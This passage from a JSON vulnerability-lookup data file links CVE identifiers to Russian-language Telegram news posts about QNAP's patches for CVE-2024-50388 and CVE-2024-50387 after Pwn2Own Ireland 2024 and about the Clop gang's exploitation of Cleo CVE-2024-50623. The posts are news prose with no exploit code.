\u0441\u043b\u0443\u0447\u0430\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 HBS 3 Hybrid Backup Sync 25.1.1.673 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445.\n\n\u0415\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u0438 \u0438\u0437 Viettel Cyber Security, \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c\u00a0\u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434\u00a0\u0438\u00a0\u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u00a0\u043d\u0430 \u0442\u0440\u0435\u0442\u0438\u0439 \u0434\u0435\u043d\u044c Pwn2Own Ireland 2024.\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438, \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u0430\u044f \u043a\u0430\u043a\u00a0CVE-2024-50387, \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 SMB \u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 4.15.002 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 h4.15.002 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445.\n\n\u0414\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f 0-day \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0430\u0441\u044c \u043d\u0435\u0434\u0435\u043b\u044f \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a YingMuo \u0438\u0437 DEVCORE \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0434\u043e\u0441\u0442\u0443\u043f \u043a root-\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0435 \u0438 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u043b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c NAS QNAP TS-464\u00a0\u043d\u0430 Pwn2Own Ireland 2024.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f Trend Micro's Zero Day Initiative \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430\u043c \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f 90 \u0434\u043d\u0435\u0439 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442 \u043d\u0430\u0434 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c\u0438 \u0432 \u0445\u043e\u0434\u0435 \u043a\u043e\u043d\u043a\u0443\u0440\u0441\u0430.\n\n\u0422\u0430\u043a \u0447\u0442\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c QNAP \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0431\u0440\u0430\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u0440 \u0441 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u0438 \u043d\u0430\u043a\u0430\u0442\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0431\u0443\u0434\u0443\u0442 \u0440\u0435\u0432\u0435\u0440\u0441\u0438\u0442\u044c \u043a\u043e\u0434 \u0432 \u043f\u043e\u0438\u0441\u043a\u0430\u0445 \u0442\u0435\u0445 \u0441\u0430\u043c\u044b\u0445 \u043d\u0443\u043b\u0435\u0439, \u0447\u0442\u043e \u043d\u0435 \u0440\u0430\u0437 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u043e\u0441\u044c \u0432 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u0445, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0442\u0430\u0439\u0432\u0430\u043d\u044c\u0441\u043a\u043e\u0433\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430.", "creation_timestamp": "2024-10-31T10:54:39.000000Z"}, {"uuid": "47b4dad8-274b-401c-8a04-c8cdd5c491b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50387", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/6377", "content": "\u041d\u0430\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0433\u043e\u0440\u044c\u043a\u0438\u043c \u043e\u043f\u044b\u0442\u043e\u043c \u0430\u0442\u0430\u043a \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 DeadBolt, Qlocker, eCh0raix \u0438 AgeLocker \u0437\u0430 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0435 \u0442\u0440\u0438 \u0433\u043e\u0434\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a NAS-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 QNAP \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u043f\u0440\u0438\u043d\u044f\u043b\u0441\u044f \u043a \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u043c Pwn2Own Ireland 2024 \u043d\u0443\u043b\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u043c \u041f\u041e.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0437\u0430\u043a\u0440\u044b\u0442\u0430\u044f 0-day \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-50388 \u0438 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421 \u0432\u00a0HBS 3 Hybrid Backup Sync\u00a0\u0432\u0435\u0440\u0441\u0438\u0438 25.1.x, \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0430\u0432\u0430\u0440\u0438\u0439\u043d\u043e\u0433\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 HBS 3 Hybrid Backup Sync 25.1.1.673 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445.\n\n\u0415\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u0438 \u0438\u0437 Viettel Cyber Security, \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c\u00a0\u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434\u00a0\u0438\u00a0\u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u00a0\u043d\u0430 \u0442\u0440\u0435\u0442\u0438\u0439 \u0434\u0435\u043d\u044c Pwn2Own Ireland 2024.\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438, \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u0430\u044f \u043a\u0430\u043a\u00a0CVE-2024-50387, \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 SMB \u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 4.15.002 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 h4.15.002 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445.\n\n\u0414\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f 0-day \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0430\u0441\u044c \u043d\u0435\u0434\u0435\u043b\u044f \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a YingMuo \u0438\u0437 DEVCORE \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0434\u043e\u0441\u0442\u0443\u043f \u043a root-\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0435 \u0438 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u043b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c NAS QNAP TS-464\u00a0\u043d\u0430 Pwn2Own Ireland 2024.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f Trend Micro's Zero Day Initiative \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430\u043c \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f 90 \u0434\u043d\u0435\u0439 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442 \u043d\u0430\u0434 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c\u0438 \u0432 \u0445\u043e\u0434\u0435 \u043a\u043e\u043d\u043a\u0443\u0440\u0441\u0430.\n\n\u0422\u0430\u043a \u0447\u0442\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c QNAP \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0431\u0440\u0430\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u0440 \u0441 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u0438 \u043d\u0430\u043a\u0430\u0442\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0431\u0443\u0434\u0443\u0442 \u0440\u0435\u0432\u0435\u0440\u0441\u0438\u0442\u044c \u043a\u043e\u0434 \u0432 \u043f\u043e\u0438\u0441\u043a\u0430\u0445 \u0442\u0435\u0445 \u0441\u0430\u043c\u044b\u0445 \u043d\u0443\u043b\u0435\u0439, \u0447\u0442\u043e \u043d\u0435 \u0440\u0430\u0437 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u043e\u0441\u044c \u0432 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u0445, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0442\u0430\u0439\u0432\u0430\u043d\u044c\u0441\u043a\u043e\u0433\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430.", "creation_timestamp": "2024-10-31T10:54:39.000000Z"}, {"uuid": "7f127d93-f87a-4d38-a839-70962b4bf59d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "exploited", "source": "https://t.me/true_secator/6630", "content": "\u0411\u0430\u043d\u0434\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Clop \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0441\u0432\u043e\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441\u043e \u0432\u0437\u043b\u043e\u043c\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Cleo, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0432 \u043d\u0430 \u0441\u0432\u043e\u0435\u043c DLS \u0438\u043c\u0435\u043d\u0430 59 \u0436\u0435\u0440\u0442\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0432\u044b\u0448\u043b\u0438 \u0441 \u043d\u0438\u043c\u0438 \u043d\u0430 \u043f\u0435\u0440\u0435\u0433\u043e\u0432\u043e\u0440\u044b \u043f\u043e \u043f\u043e\u0432\u043e\u0434\u0443 \u0432\u044b\u043a\u0443\u043f\u0430, \u0441\u0434\u0435\u0440\u0436\u0430\u0432 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 \u043e\u0431\u0435\u0449\u0430\u043d\u0438\u044f.\n\n\u041e\u0442\u043a\u0440\u044b\u0432\u0448\u0430\u044f \u044f\u0449\u0438\u043a \u041f\u0430\u043d\u0434\u043e\u0440\u044b CVE-2024-50623\u00a0(\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 8,8) \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 LexiCom, VLTransfer \u0438 Harmony \u043e\u0442 Cleo, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u0435\u0435 \u0432 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0437\u0430 \u043e\u043a\u0442\u044f\u0431\u0440\u044c 2024 \u0433\u043e\u0434\u0430, \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c\u00a0\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u0435\u0435 \u0443\u0436\u0435 \u043c\u0430\u0441\u0441\u043e\u0432\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442.\n\n\u0422\u043e\u0433\u0434\u0430 9 \u0434\u0435\u043a\u0430\u0431\u0440\u044f \u0432 \u0438\u043d\u0444\u043e\u0441\u0435\u043a-\u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0435 \u043d\u0430\u0447\u0430\u043b\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0442\u044c\u0441\u044f \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u041f\u041e \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Cleo, \u0430 Huntress \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0449\u0435\u0439\u0441\u044f \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0438 \u0432\u0437\u043b\u043e\u043c\u043e\u0432 \u0435\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Huntress \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 PoC \u0438 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u0430\u0442\u0447 \u0432 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043d\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u0432, \u0447\u0442\u043e \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 5.8.0.21 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, Clop \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043b\u0430\u0441\u044c \u0441 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0432\u0448\u0438\u043c\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c\u0438, \u043d\u043e \u0442\u0435 \u043f\u0440\u043e\u0438\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043f\u0435\u0440\u0435\u0433\u043e\u0432\u043e\u0440\u044b \u043e \u0432\u044b\u043a\u0443\u043f\u0435, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0431\u0430\u043d\u0434\u0430 \u0443\u0433\u0440\u043e\u0436\u0430\u0435\u0442 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 18 \u044f\u043d\u0432\u0430\u0440\u044f 2025 \u0433\u043e\u0434\u0430.\n\n\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 Clop \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439-\u0436\u0435\u0440\u0442\u0432 \u043e\u0441\u043f\u043e\u0440\u0438\u043b\u0438 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0430\u043d\u0434\u044b \u0438 \u043e\u0442\u0440\u0438\u0446\u0430\u044e\u0442 \u0444\u0430\u043a\u0442 \u0432\u0437\u043b\u043e\u043c\u0430. \n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u044c \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u043e\u0433\u043e \u0433\u0438\u0433\u0430\u043d\u0442\u0430 \u043f\u043e \u043f\u0440\u043e\u043a\u0430\u0442\u0443 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u0435\u0439 Hertz\u00a0\u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043e\u0441\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0430 \u043e \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u0445\u0430\u043a\u0435\u0440\u043e\u0432, \u043d\u043e \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0435 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442 \u043d\u0438\u043a\u0430\u043a\u0438\u043c\u0438 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430\u043c\u0438 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0434\u0430\u043d\u043d\u044b\u0435 Hertz \u0438\u043b\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0431\u044b\u043b\u0438 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b.\n\n\u0412 Linfox, \u0430\u0432\u0441\u0442\u0440\u0430\u043b\u0438\u0439\u0441\u043a\u043e\u0439 \u043b\u043e\u0433\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u0440\u0430\u0437\u0438\u043b\u0438 \u043d\u0435\u0441\u043e\u0433\u043b\u0430\u0441\u0438\u044f \u0441 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f\u043c\u0438 \u0431\u0430\u043d\u0434\u044b, \u0437\u0430\u044f\u0432\u0438\u0432, \u0447\u0442\u043e  \u0432\u043e\u0432\u0441\u0435 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 Cleo \u0438 \u043d\u0435 \u0441\u0442\u0430\u043b\u043a\u0438\u0432\u0430\u043b\u0430\u0441\u044c \u0441 \u043a\u0438\u0431\u0435\u0440\u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u043c\u0438 \u0441 \u0435\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438.\n\n\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0438 Arrow Electronics \u0438 Western Alliance Bank \u0442\u0430\u043a\u0436\u0435 \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0431\u044b\u043b\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u044b.\u00a0\n\n\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u043f\u043e \u043a\u0440\u0430\u0439\u043d\u0435\u0439 \u043c\u0435\u0440\u0435 \u043e\u0434\u043d\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430 \u0444\u0430\u043a\u0442 \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u044f.\n\n\u041d\u0435\u043c\u0435\u0446\u043a\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0433\u0438\u0433\u0430\u043d\u0442 Covestro \u043f\u0440\u0438\u0437\u043d\u0430\u043b, \u0447\u0442\u043e \u0431\u0430\u043d\u0434\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u043c \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0430\u043c \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0435\u0433\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u043a \u043a\u0430\u043a\u0438\u043c 